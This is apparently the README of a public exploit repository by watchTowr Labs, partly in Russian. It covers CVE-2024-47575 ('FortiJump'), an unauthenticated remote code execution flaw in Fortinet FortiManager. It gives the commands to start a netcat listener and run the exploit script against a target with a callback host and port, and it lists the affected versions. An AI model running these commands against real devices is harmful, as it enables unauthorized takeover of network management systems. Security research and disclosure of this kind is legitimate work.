watchtowrlabs/fortijump-exploit-cve-2024-47575Fortinet Fortimanager Неаутентифицированное удаленное выполнение кода, также известное как FortiJump CVE-2024-47575
Fortinet FortiManager — неаутентифицированное удалённое выполнение кода, также известное как FortiJump CVE-2024-47575
Технические подробности см. в нашем посте в блоге
Для начала запустите сеанс ncat:
nc -lvvnp 80
Затем выполните наш генератор артефактов обнаружения:
python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit
Чтобы проверить только уязвимость, используйте следующие параметры:
python3 CVE-2024-47575.py --target 192.168.1.110 --action check
FortiManager 7.6.0
FortiManager 7.4.0 through 7.4.4
FortiManager 7.2.0 through 7.2.7
FortiManager 7.0.0 through 7.0.12
FortiManager 6.4.0 through 6.4.14
FortiManager 6.2.0 through 6.2.12
FortiManager Cloud 7.4.1 through 7.4.4
FortiManager Cloud 7.2.1 through 7.2.7
FortiManager Cloud 7.0.1 through 7.0.12
FortiManager Cloud 6.4
Этот эксплойт написан Sina Kheirkhah (@SinSinology) из watchTowr (@watchtowrcyber)
За последними исследованиями в области безопасности следите за командой watchTowr Labs